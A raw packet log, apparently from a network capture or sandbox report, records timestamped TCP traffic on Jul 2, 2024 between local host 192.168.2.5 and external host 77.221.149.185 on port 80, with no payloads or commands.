Jul 2, 2024 22:52:26.269522905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269526005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269531965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269541979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269551039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269556999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269560099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269571066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269576073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269581079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269592047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269602060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269612074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269617081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269619942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.269648075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.269665956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270397902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270409107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270418882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270435095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270445108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270448923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270456076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270467043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270467043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270474911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270486116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270494938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270503998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270504951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270514965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270524025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270529985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270533085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270541906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270551920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.270562887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.270586967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271375895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271387100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271398067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271411896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271421909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271424055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271430969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271440983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271450996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271461010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271464109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271471977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271481991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271488905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271492004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271501064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271505117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271511078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271521091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271531105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.271539927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271563053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.271578074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272378922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272389889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272398949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272408962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272418022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272428036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272435904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272435904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272447109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272454977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272458076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272464991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272473097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272484064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272486925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272497892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272506952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272516012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272521973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272526026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272536039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272540092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272545099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.272567987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.272584915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.273279905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273292065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273300886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273313999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273323059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273333073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273340940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.273341894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273351908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273360968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273370028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273372889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.273380041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273380041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.273391008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273400068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.273416042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.273442030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.310398102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310416937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310425997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310497999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.310512066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.310534000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310543060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310554028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310576916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.310703993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.310751915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.358612061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358640909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358650923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358688116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.358767033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358778000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358788013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.358819008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.358841896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.358915091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359003067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359011889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359020948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359046936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359052896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.359061956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359071016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359077930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.359081030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359091997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.359103918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.359133959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360001087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360043049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360074997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360085011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360124111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360197067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360207081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360239029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360357046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360366106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360375881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360385895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360395908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360400915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360419035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360763073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360771894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360780954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360790968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360800028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360800028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360809088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360815048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360817909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360827923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360838890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360848904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360850096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360858917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360868931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.360868931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.360904932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361358881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361368895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361402988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361495018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361504078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361514091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361535072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361535072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361548901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361551046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361561060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361572981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361583948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361593008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361598015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361607075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.361608982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361625910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.361651897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362255096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362262964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362272024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362282038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362289906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362298965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362299919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362309933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362315893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362319946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362333059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362341881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362341881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362350941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362360954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362370014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362374067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362380028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362389088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.362390041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.362423897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363122940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363132954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363142014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363151073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363167048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363168955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363177061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363188028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363198996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363209963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363212109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363219023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363229036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363236904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363239050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363245964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363255978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363256931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363265038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363275051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363276005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363284111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.363293886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.363313913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364027977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364037991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364047050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364053965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364063978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364072084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364077091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364085913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364095926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364098072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364105940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364115000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364120960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364124060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364134073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364136934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364157915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364610910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364619017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364624977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364630938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364661932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364738941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364749908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364759922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364769936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364779949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364780903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364790916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364794016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364800930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364810944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364820004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364820957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364830017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364837885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.364840031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364856958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.364873886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.403587103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.403598070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.403608084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.403695107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.404848099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.404859066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.404867887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.404876947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.404886007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.404922962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.404942989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.452708006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452735901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452747107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452778101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.452904940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452914953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452925920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452935934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452944994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.452944994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.452977896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453016996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453181028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453191042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453201056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453211069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453228951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453250885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453401089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453409910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453433037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453444004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453453064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453453064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453484058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453808069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453816891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453826904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453836918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453845978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453847885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453856945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453867912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453872919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453881979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453891039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453901052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453907013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453911066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.453913927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453933954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.453957081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454521894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454533100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454544067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454554081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454562902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454566956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454577923 CEST	80	49712	77.221.149.185	192.168.2.5
